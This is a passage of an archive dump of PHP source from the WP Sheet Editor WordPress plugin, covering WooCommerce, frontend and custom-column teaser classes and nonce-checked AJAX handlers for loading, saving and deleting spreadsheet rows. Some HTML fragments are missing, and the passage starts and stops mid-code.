)->on_product_changed( $product ); } if ( ! $lookup_already_synced && $sync_required ) { // We resave the regular price to force WC to execute the internal, protected method update_lookup_table() $regular_price = get_post_meta( $product_id, '_regular_price', true ); // Composite products: Disable the price syncing because composite rewrites the sheet values sometimes add_filter( 'woocommerce_composite_update_price_meta', '__return_false' ); $product->set_regular_price( 999999999999999 ); $product->save(); $product->set_regular_price( $regular_price ); $product->save(); $this->wc_lookuptable_after_save_synced[] = $product_id; } else { // @todo Clear WC caches only when editing WC core fields, now it clears for all edits, including unrelated custom fields $this->clear_wc_caches( $product_id ); } } function clear_wc_caches( $product ) { if ( is_int( $product ) ) { $product = wc_get_product( $product ); } // Bail if product doesn't exist, in case it was deleted before clearing caches if ( ! is_object( $product ) ) { return; } if ( ! function_exists( 'wc_delete_product_transients' ) || ! class_exists( 'WC_Cache_Helper' ) ) { return; } wc_delete_product_transients( $product->get_id() ); if ( $product->get_parent_id( 'edit' ) ) { wc_delete_product_transients( $product->get_parent_id( 'edit' ) ); if ( version_compare( WC()->version, '3.9.0' ) >= 0 ) { WC_Cache_Helper::invalidate_cache_group( 'product_' . $product->get_parent_id( 'edit' ) ); } else { WC_Cache_Helper::incr_cache_prefix( 'product_' . $product->get_parent_id( 'edit' ) ); } } if ( version_compare( WC()->version, '3.6.0' ) >= 0 ) { WC_Cache_Helper::invalidate_attribute_count( array_keys( $product->get_attributes() ) ); } if ( version_compare( WC()->version, '3.9.0' ) >= 0 ) { WC_Cache_Helper::invalidate_cache_group( 'product_' . $product->get_id() ); } else { WC_Cache_Helper::incr_cache_prefix( 'product_' . $product->get_id() ); } } function notify_variations_arent_allowed($post_type) { if ($post_type === $this->post_type) { echo ''; _e('. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.', 'vg_sheet_editor' ); echo '
                  '; } } function render_variations_metabox_teaser() { ?>
                  Tip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download Plugin', 'vg_sheet_editor' ), 'https://wpsheeteditor.com/extensions/woocommerce-spreadsheet/?utm_source=wp-admin&utm_medium=variations-metabox&utm_campaign=products'); ?>
                  allowed_columns, true)) { $allowed_to_lock = false; } return $allowed_to_lock; } /** * Modify spreadsheet columns settings. * * It changes the names and settings of some columns. * @param array $spreadsheet_columns * @param string $post_type * @param bool $exclude_formatted_settings * @return array */ function filter_columns_settings($editor) { $post_type = $this->post_type; if ($editor->provider->key === 'user') { return; } if (defined('VGSE_WC_TEASER_LIMIT_COLUMNS') && !VGSE_WC_TEASER_LIMIT_COLUMNS) { return; } if ($post_type !== $this->post_type) { return; } // Adapt core columns to woocommerce format $editor->args['columns']->register_item('post_excerpt', $post_type, array( 'title' => __('Short description', 'vg_sheet_editor' ), 'default_title' => __('Short description', 'vg_sheet_editor' ), 'column_width' => 150 ), true); $editor->args['columns']->register_item('comment_status', $post_type, array( 'title' => __('Enable reviews', 'vg_sheet_editor' ), 'default_title' => __('Enable reviews', 'vg_sheet_editor' ), ), true); $spreadsheet_columns = $editor->get_provider_items($post_type); // Increase column width for disabled columns, so the "premium" message fits foreach ($spreadsheet_columns as $key => $column) { if (!in_array($key, $this->allowed_columns)) { $editor->args['columns']->register_item($key, $post_type, array( 'column_width' => $column['column_width'] + 80, 'is_locked' => true, 'lock_template_key' => 'lock_cell_template_pro', ), true); } } } /** * Register spreadsheet columns */ function register_columns($editor) { $post_type = $this->post_type; if ($editor->provider->key === 'user') { return; } $product_type_tax = 'product_type'; $editor->args['columns']->register_item($product_type_tax, $post_type, array( 'data_type' => 'post_terms', 'unformatted' => array('data' => $product_type_tax), 'column_width' => 150, 'title' => __('Type', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => $product_type_tax, 'type' => 'autocomplete', 'source' => 'loadTaxonomyTerms'), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_sku', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_sku'), 'column_width' => 150, 'title' => __('SKU', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_sku', 'renderer' => 'html'), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_regular_price', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_regular_price'), 'column_width' => 150, 'title' => __('Regular Price', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_regular_price'), 'allow_to_hide' => true, 'allow_to_rename' => true, 'value_type' => 'number', )); $editor->args['columns']->register_item('_sale_price', $post_type, array( 'value_type' => 'number', 'data_type' => 'meta_data', 'unformatted' => array('data' => '_sale_price'), 'column_width' => 150, 'title' => __('Sale Price', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_sale_price', 'renderer' => 'html'), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_weight', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_weight'), 'column_width' => 100, 'title' => __('Weight', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_weight', 'renderer' => 'html'), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_width', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_width'), 'column_width' => 100, 'title' => __('Width', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_width', 'renderer' => 'html'), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_height', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_height'), 'column_width' => 100, 'title' => __('Height', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_height', 'renderer' => 'html'), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_length', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_length'), 'column_width' => 100, 'title' => __('Length', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_length', 'renderer' => 'html'), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_manage_stock', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_manage_stock'), 'column_width' => 150, 'title' => __('Manage stock', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'data' => '_manage_stock', 'type' => 'checkbox', 'checkedTemplate' => 'yes', 'uncheckedTemplate' => 'no', ), 'default_value' => 'no', 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_stock_status', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_stock_status'), 'column_width' => 150, 'title' => __('Stock status', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array( 'data' => '_stock_status', 'type' => 'checkbox', 'checkedTemplate' => 'instock', 'uncheckedTemplate' => 'outofstock', ), 'default_value' => 'instock', 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_stock', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_stock'), 'column_width' => 75, 'title' => __('Stock', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_stock'), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_visibility', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_visibility'), 'column_width' => 150, 'title' => __('Visibility', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_visibility', 'editor' => 'select', 'selectOptions' => array('visible', 'catalog', 'search', 'hidden')), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_product_image_gallery', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_product_image_gallery', 'renderer' => 'html', 'readOnly' => true), 'column_width' => 300, 'supports_formulas' => true, 'title' => __('Gallery', 'vg_sheet_editor' ), 'type' => 'boton_gallery_multiple', 'formatted' => array('data' => '_product_image_gallery', 'renderer' => 'html', 'readOnly' => true), 'allow_to_hide' => true, 'allow_to_save' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_downloadable', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_downloadable'), 'column_width' => 150, 'title' => __('Downloadable', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_downloadable', 'type' => 'checkbox', 'checkedTemplate' => 'yes', 'uncheckedTemplate' => 'no', ), 'default_value' => 'no', 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_virtual', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_virtual'), 'column_width' => 150, 'title' => __('Virtual', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_virtual', 'type' => 'checkbox', 'checkedTemplate' => 'yes', 'uncheckedTemplate' => 'no', ), 'default_value' => 'no', 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_sale_price_dates_from', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_sale_price_dates_from'), 'column_width' => 150, 'title' => __('Sales price date from', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_sale_price_dates_from', 'type' => 'date', 'dateFormatPhp' => 'Y-m-d', 'correctFormat' => true, 'defaultDate' => '', 'datePickerConfig' => array('firstDay' => 0, 'showWeekNumber' => true, 'numberOfMonths' => 1)), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_sale_price_dates_to', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_sale_price_dates_to'), 'column_width' => 150, 'title' => __('Sales price date to', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_sale_price_dates_to', 'type' => 'date', 'dateFormatPhp' => 'Y-m-d', 'correctFormat' => true, 'defaultDate' => '', 'datePickerConfig' => array('firstDay' => 0, 'showWeekNumber' => true, 'numberOfMonths' => 1)), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_sold_individually', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_sold_individually'), 'column_width' => 150, 'title' => __('Sold individually', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_sold_individually', 'type' => 'checkbox', 'checkedTemplate' => 'yes', 'uncheckedTemplate' => 'no', ), 'default_value' => 'no', 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_featured', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_featured'), 'column_width' => 150, 'title' => __('is featured?', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_featured', 'type' => 'checkbox', 'checkedTemplate' => 'yes', 'uncheckedTemplate' => 'no', ), 'default_value' => 'no', 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_backorders', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_backorders'), 'column_width' => 150, 'title' => __('Allow backorders', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_backorders', 'editor' => 'select', 'selectOptions' => array( 'no' => __('Do not allow', 'woocommerce'), 'notify' => __('Allow, but notify customer', 'woocommerce'), 'yes' => __('Allow', 'woocommerce'), ) ), 'default_value' => 'no', 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_purchase_note', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_purchase_note'), 'column_width' => 250, 'title' => __('Purchase note', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_purchase_note',), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $shipping_tax_name = 'product_shipping_class'; $editor->args['columns']->register_item($shipping_tax_name, $post_type, array( 'data_type' => 'post_terms', 'unformatted' => array('data' => $shipping_tax_name), 'column_width' => 150, 'title' => __('Shipping class', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => $shipping_tax_name, 'type' => 'autocomplete', 'source' => 'loadTaxonomyTerms'), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_download_limit', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_download_limit'), 'column_width' => 150, 'title' => __('Download limit', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_download_limit',), 'allow_to_hide' => true, 'allow_to_rename' => true, 'value_type' => 'number', )); $editor->args['columns']->register_item('_download_expiry', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_download_expiry'), 'column_width' => 150, 'title' => __('Download expiry', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_download_expiry',), 'allow_to_hide' => true, 'allow_to_rename' => true, 'value_type' => 'number', )); $editor->args['columns']->register_item('_download_type', $post_type, array( 'data_type' => 'meta_data', 'unformatted' => array('data' => '_download_type'), 'column_width' => 250, 'title' => __('Download type', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'formatted' => array('data' => '_download_type', 'editor' => 'select', 'selectOptions' => array( '' => __('Standard Product', 'woocommerce'), 'application' => __('Application/Software', 'woocommerce'), 'music' => __('Music', 'woocommerce'), )), 'allow_to_hide' => true, 'allow_to_rename' => true, )); $editor->args['columns']->register_item('_downloadable_files', $post_type, array( 'data_type' => null, 'unformatted' => array('data' => '_downloadable_files', 'renderer' => 'html', 'readOnly' => true), 'column_width' => 120, 'title' => __('Download files', 'vg_sheet_editor' ), 'type' => 'handsontable', 'edit_button_label' => __('Edit files', 'vg_sheet_editor' ), 'edit_modal_id' => 'vgse-download-files', 'edit_modal_title' => __('Download files', 'vg_sheet_editor' ), 'edit_modal_description' => '

                  Copy
                  ', 'edit_modal_local_cache' => true, 'edit_modal_save_action' => 'vgse_save_download_files', 'handsontable_columns' => array( $this->post_type => array( array( 'data' => 'name' ), array( 'data' => 'file' ), ), 'product_variation' => array( array( 'data' => 'name' ), array( 'data' => 'file' ), )), 'handsontable_column_names' => array( $this->post_type => array(__('Name', 'vg_sheet_editor' ), __('File (url or path)', 'vg_sheet_editor' )), 'product_variation' => array(__('Name', 'vg_sheet_editor' ), __('File (url or path)', 'vg_sheet_editor' )), ), 'handsontable_column_widths' => array( $this->post_type => array(160, 300), 'product_variation' => array(160, 300), ), 'supports_formulas' => false, 'formatted' => array('data' => '_downloadable_files', 'renderer' => 'html', 'readOnly' => true), 'allow_to_hide' => true, 'allow_to_save' => false, 'allow_to_rename' => false, )); $editor->args['columns']->register_item('_variation_description', $post_type, array( 'key' => '_variation_description', 'data_type' => 'post_meta', 'unformatted' => array( 'data' => '_variation_description' ), 'column_width' => 175, 'title' => __('Variation description', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => false, 'formatted' => array( 'data' => '_variation_description', ), 'default_value' => '', 'allow_to_hide' => true, 'allow_to_save' => true, 'allow_to_rename' => false )); $editor->args['columns']->register_item('_vgse_variation_enabled', $post_type, array( 'key' => '_vgse_variation_enabled', 'data_type' => 'post_data', 'unformatted' => array( 'data' => '_vgse_variation_enabled' ), 'column_width' => 140, 'title' => __('Variation enabled?', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => false, 'formatted' => array( 'data' => '_vgse_variation_enabled', 'type' => 'checkbox', 'checkedTemplate' => 'on', 'uncheckedTemplate' => '' ), 'default_value' => 'on', 'allow_to_hide' => true, 'allow_to_save' => false, 'allow_to_rename' => false )); $editor->args['columns']->register_item('default_attributes', $post_type, array( 'data_type' => null, 'unformatted' => array('data' => 'default_attributes', 'renderer' => 'html', 'readOnly' => true), 'column_width' => 160, 'title' => __('Default attributes', 'vg_sheet_editor' ), 'type' => 'handsontable', 'edit_button_label' => __('Default attributes', 'vg_sheet_editor' ), 'edit_modal_id' => 'vgse-default-attributes', 'edit_modal_title' => __('Default attributes', 'vg_sheet_editor' ), 'edit_modal_description' => sprintf(__('Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won\'t be saved.'), WC_DELIMITER), 'edit_modal_save_action' => 'vgse_save_default_attributes', 'edit_modal_get_action' => 'vgse_save_default_attributes', 'edit_modal_local_cache' => false, 'handsontable_columns' => array( $this->post_type => array( array( 'data' => 'name' ), array( 'data' => 'option' ), )), 'handsontable_column_names' => array( $this->post_type => array( __('Name', 'vg_sheet_editor' ), __('Value', 'vg_sheet_editor' ) ) ), 'handsontable_column_widths' => array( $this->post_type => array(160, 300), ), 'supports_formulas' => false, 'formatted' => array('data' => 'default_attributes', 'renderer' => 'html', 'readOnly' => true), 'allow_to_hide' => true, 'allow_to_save' => false, 'allow_to_rename' => false, )); } /** * Create new products using WC API * @param array $post_ids * @param str $post_type * @param int $number * @return array Post ids */ public function create_new_products($post_ids, $post_type, $number) { if ($post_type !== $this->post_type || !empty($post_ids)) { return $post_ids; } for ($i = 0; $i < $number; $i++) { $api_response = VGSE()->helpers->create_rest_request('POST', '/wc/v1/products', array( 'name' => __('...', 'vg_sheet_editor' ), 'status' => 'draft' )); if ($api_response->status === 200 || $api_response->status === 201) { $api_data = $api_response->get_data(); $post_ids[] = $api_data['id']; } } return $post_ids; } /** * Allow woocomerce product post type * @param array $post_types * @return array */ function allow_product_post_type($post_types) { if (!isset($post_types[$this->post_type]) && class_exists('WP_Sheet_Editor_Dist')) { $post_types[$this->post_type] = VGSE()->helpers->get_post_type_label($this->post_type); } return $post_types; } /** * Creates or returns an instance of this class. * * */ static function get_instance() { if (null == WP_Sheet_Editor_WooCommerce_Teaser::$instance) { WP_Sheet_Editor_WooCommerce_Teaser::$instance = new WP_Sheet_Editor_WooCommerce_Teaser(); WP_Sheet_Editor_WooCommerce_Teaser::$instance->init(); } return WP_Sheet_Editor_WooCommerce_Teaser::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } add_action('vg_sheet_editor/initialized', 'vgse_init_woocommerce_teaser'); if (!function_exists('vgse_init_woocommerce_teaser')) { function vgse_init_woocommerce_teaser() { WP_Sheet_Editor_WooCommerce_Teaser::get_instance(); } } modules/wp-sheet-editor/inc/teasers/frontend.php000064400000010755147600365160016023 0ustar00options['be_disable_extension_offerings'])) { return; } $post_types = $editor->args['enabled_post_types']; foreach ($post_types as $post_type) { $editor->args['toolbars']->register_item('share_frontend', array( 'type' => 'button', 'content' => __('Display spreadsheet editor on the frontend', 'vg_sheet_editor' ), 'extra_html_attributes' => 'data-remodal-target="modal-frontend-teaser"', 'toolbar_key' => 'primary', 'footer_callback' => array($this, 'render_popup'), 'allow_in_frontend' => false, 'parent' => 'share' ), $post_type); } } function render_popup($current_post_type) { ?>

                  init(); } return WP_Sheet_Editor_Frontend_Teaser::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } add_action('vg_sheet_editor/initialized', 'vgse_init_frontend_teaser'); if (!function_exists('vgse_init_frontend_teaser')) { function vgse_init_frontend_teaser() { WP_Sheet_Editor_Frontend_Teaser::get_instance(); } } modules/wp-sheet-editor/inc/teasers/custom-columns.php000064400000006352147600365160017172 0ustar00args['provider']; $meta_keys = apply_filters('vg_sheet_editor/custom_columns/all_meta_keys', VGSE()->helpers->get_all_meta_keys($post_type, 1000), $post_type, $editor); $this->found_columns[$post_type] = array(); foreach ($meta_keys as $meta_key) { if ($editor->args['columns']->has_item($meta_key, $post_type)) { continue; } $label = $this->_convert_key_to_label($meta_key); $this->found_columns[$post_type][$label] = $meta_key; $is_locked = apply_filters('vg_sheet_editor/custom_columns/teaser/allow_to_lock_column', true, $meta_key); $column_args = array(); if ($is_locked) { $column_args = array( 'unformatted' => array('renderer' => 'html', 'readOnly' => true), 'formatted' => array('renderer' => 'html', 'readOnly' => true), 'allow_to_save' => false, 'is_locked' => $is_locked, 'lock_template_key' => 'lock_cell_template_pro', ); } $editor->args['columns']->register_item($meta_key, $post_type, array_merge(array( 'data_type' => 'meta_data', 'column_width' => (6.1 * strlen($label)) + 75, // Set the width based on the label length+the locked icon length 'title' => $label, 'type' => '', 'supports_formulas' => true, 'allow_to_hide' => true, 'allow_to_rename' => true, ), $column_args)); } } /** * Creates or returns an instance of this class. * * */ static function get_instance() { if (null == WP_Sheet_Editor_Custom_Columns_Teaser::$instance) { WP_Sheet_Editor_Custom_Columns_Teaser::$instance = new WP_Sheet_Editor_Custom_Columns_Teaser(); WP_Sheet_Editor_Custom_Columns_Teaser::$instance->init(); } return WP_Sheet_Editor_Custom_Columns_Teaser::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } add_action('vg_sheet_editor/initialized', 'vgse_init_custom_columns_teaser'); if (!function_exists('vgse_init_custom_columns_teaser')) { function vgse_init_custom_columns_teaser() { return WP_Sheet_Editor_Custom_Columns_Teaser::get_instance(); } } modules/wp-sheet-editor/inc/ajax.php000064400000066575147600365160013474 0ustar00 __( 'You dont have enough permissions to do this action.', 'vg_sheet_editor' ) ); if ( empty( $_REQUEST['post_type'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || empty( $_REQUEST['ids'] ) || ! VGSE()->helpers->verify_nonce_from_request() ) { wp_send_json_error( $error_message ); } $post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] ); if ( ! VGSE()->helpers->user_can_edit_post_type( $post_type ) || ! VGSE()->helpers->user_can_delete_post_type( $post_type ) ) { wp_send_json_error( $error_message ); } $row_ids = array_map( 'intval', $_REQUEST['ids'] ); $row_ids = VGSE()->helpers->get_current_provider()->filter_rows_before_edit( $row_ids, $post_type ); foreach ( $row_ids as $id ) { VGSE()->helpers->get_current_provider()->update_item_data( array( 'ID' => (int) $id, 'post_status' => 'delete', 'wpse_status' => 'delete', 'comment_approved' => 'delete', ) ); } wp_send_json_success( array( 'message' => __( 'Rows deleted successfully', 'vg_sheet_editor' ) ) ); } function get_taxonomy_terms() { $error_message = array( 'message' => __( 'You dont have enough permissions to do this action.', 'vg_sheet_editor' ) ); if ( empty( $_REQUEST['post_type'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || ! VGSE()->helpers->verify_nonce_from_request() ) { wp_send_json_error( $error_message ); } $post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] ); // If this is a WC attribute, use WC's sanitization function if ( class_exists( 'WooCommerce' ) && strpos( $_REQUEST['taxonomy_key'], 'pa_' ) === 0 ) { $taxonomy_key = wc_sanitize_taxonomy_name( $_REQUEST['taxonomy_key'] ); } else { $taxonomy_key = VGSE()->helpers->sanitize_table_key( $_REQUEST['taxonomy_key'] ); } if ( ! VGSE()->helpers->user_can_view_post_type( $post_type ) || ! taxonomy_exists( $taxonomy_key ) ) { wp_send_json_error( $error_message ); } $source = ( ! empty( $_REQUEST['wpse_source'] ) ) ? sanitize_text_field( $_REQUEST['wpse_source'] ) : ''; $out = VGSE()->data_helpers->get_taxonomy_terms( $taxonomy_key, $source ); if ( is_array( $out ) ) { $out = array_map( 'html_entity_decode', $out ); $search_term = ( ! empty( $_REQUEST['search'] ) ) ? html_entity_decode( sanitize_text_field( $_REQUEST['search'] ) ) : ''; if ( ! empty( $search_term ) ) { foreach ( $out as $index => $term ) { if ( stripos( $term, $search_term ) === false ) { unset( $out[ $index ] ); } } } $out = array_values( $out ); } wp_send_json_success( $out ); } function load_rows() { if ( empty( $_REQUEST['post_type'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) ) { wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) ); } if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_view_post_type( $_REQUEST['post_type'] ) ) { $message = array( 'message' => __( 'You dont have enough permissions to load rows.', 'vg_sheet_editor' ) ); wp_send_json_error( $message ); } $request_data = array( 'nonce' => sanitize_text_field( VGSE()->helpers->get_nonce_from_request() ), 'post_type' => VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] ), 'paged' => isset( $_REQUEST['paged'] ) ? intval( $_REQUEST['paged'] ) : 1, 'posts_per_page' => isset( $_REQUEST['posts_per_page'] ) ? intval( $_REQUEST['posts_per_page'] ) : 0, 'wpse_reset_posts_per_page' => isset( $_REQUEST['wpse_reset_posts_per_page'] ) ? (int) $_REQUEST['wpse_reset_posts_per_page'] : 0, 'wpse_source_suffix' => isset( $_REQUEST['wpse_source_suffix'] ) ? sanitize_text_field( $_REQUEST['wpse_source_suffix'] ) : '', 'wpse_source' => isset( $_REQUEST['wpse_source'] ) ? sanitize_text_field( $_REQUEST['wpse_source'] ) : '', 'filters' => vgse_filters_init()->get_raw_filters(), ); // Reset the number of rows per page, we receive this parameter from the client when // the current rows per page > 300 and the request failed if ( ! empty( $request_data['wpse_reset_posts_per_page'] ) ) { VGSE()->update_option( 'be_posts_per_page', (int) $request_data['wpse_reset_posts_per_page'] ); } $source_prefix = ( ! empty( $request_data['wpse_source_suffix'] ) ) ? (string) $request_data['wpse_source_suffix'] : ''; $request_data['wpse_source'] = 'load_rows' . $source_prefix; $rows = VGSE()->helpers->get_rows( $request_data ); if ( is_wp_error( $rows ) ) { wp_send_json_error( wp_parse_args( array( 'message' => $rows->get_error_message(), ), $rows->get_error_data() ) ); } $rows['rows'] = array_values( $rows['rows'] ); $rows['deleted'] = array_unique( VGSE()->deleted_rows_ids ); wp_send_json_success( $rows ); } /* * Controller for saving posts changes */ function save_rows() { if ( empty( $_REQUEST['post_type'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || ! VGSE()->helpers->verify_sheet_permissions_from_request( 'edit' ) || ! VGSE()->helpers->verify_nonce_from_request() ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to save changes.', 'vg_sheet_editor' ) ) ); } $params = array( 'nonce' => sanitize_text_field( VGSE()->helpers->get_nonce_from_request() ), 'post_type' => VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] ), 'allow_to_create_new' => ! empty( $_REQUEST['allow_to_create_new'] ), 'wpse_source' => isset( $_REQUEST['wpse_source'] ) ? sanitize_text_field( $_REQUEST['wpse_source'] ) : null, 'filters' => vgse_filters_init()->get_raw_filters(), ); $params['data'] = VGSE()->helpers->sanitize_data_for_db( $_REQUEST['data'], $params['post_type'] ); $result = VGSE()->helpers->save_rows( $params ); if ( is_wp_error( $result ) ) { wp_send_json_error( array( 'message' => $result->get_error_message(), ) ); } // We use this flag to customize the user experience and hide some notifications for people that already learned how to use the sheet update_user_meta( get_current_user_id(), 'wpse_has_saved_sheet', 1 ); wp_send_json_success( array( 'message' => __( 'Changes saved successfully', 'vg_sheet_editor' ), 'deleted' => array_unique( VGSE()->deleted_rows_ids ), ) ); } /* * Controller for saving new post. */ function insert_individual_post() { if ( empty( $_REQUEST['post_type'] ) || empty( $_REQUEST['rows'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) ) { wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) ); } if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->verify_sheet_permissions_from_request( 'edit' ) ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to create new rows.', 'vg_sheet_editor' ) ) ); } $post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] ); $rows = (int) $_REQUEST['rows']; $dont_return_new_rows = ! empty( $_REQUEST['dont_return_new_rows'] ) && $_REQUEST['dont_return_new_rows'] === 'yes'; $result = VGSE()->helpers->create_placeholder_posts( $post_type, $rows, $dont_return_new_rows ? 'ids' : 'rows' ); if ( $dont_return_new_rows ) { $result = array(); } if ( is_wp_error( $result ) ) { wp_send_json_error( array( 'message' => $result->get_error_message(), ) ); } wp_send_json_success( array( 'message' => $result, 'deleted' => array_unique( VGSE()->deleted_rows_ids ), ) ); } function list_posts_by_title() { global $wpdb; if ( empty( $_REQUEST['search_post_type'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) ) { wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) ); } $post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['search_post_type'] ); if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_view_post_type( $post_type ) ) { wp_send_json_error( array( 'message' => __( 'Request not allowed. Try again later.', 'vg_sheet_editor' ) ) ); } $titles = $wpdb->get_col( $wpdb->prepare( "SELECT post_title FROM $wpdb->posts WHERE post_type = %s LIMIT 500", $post_type ) ); wp_send_json_success( array( 'data' => $titles ) ); } /** * Find posts by name */ function find_post_by_name() { global $wpdb; if ( empty( $_REQUEST['post_type'] ) || empty( $_REQUEST['search'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) ) { wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) ); } $post_type = VGSE()->helpers->sanitize_table_key( $_REQUEST['post_type'] ); $search = sanitize_text_field( wp_unslash( html_entity_decode( $_REQUEST['search'], ENT_QUOTES ) ) ); if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_view_post_type( $post_type ) ) { wp_send_json_error( array( 'message' => __( 'Request not allowed. Try again later.', 'vg_sheet_editor' ) ) ); } $where = ' post_type = %s AND (post_title LIKE %s 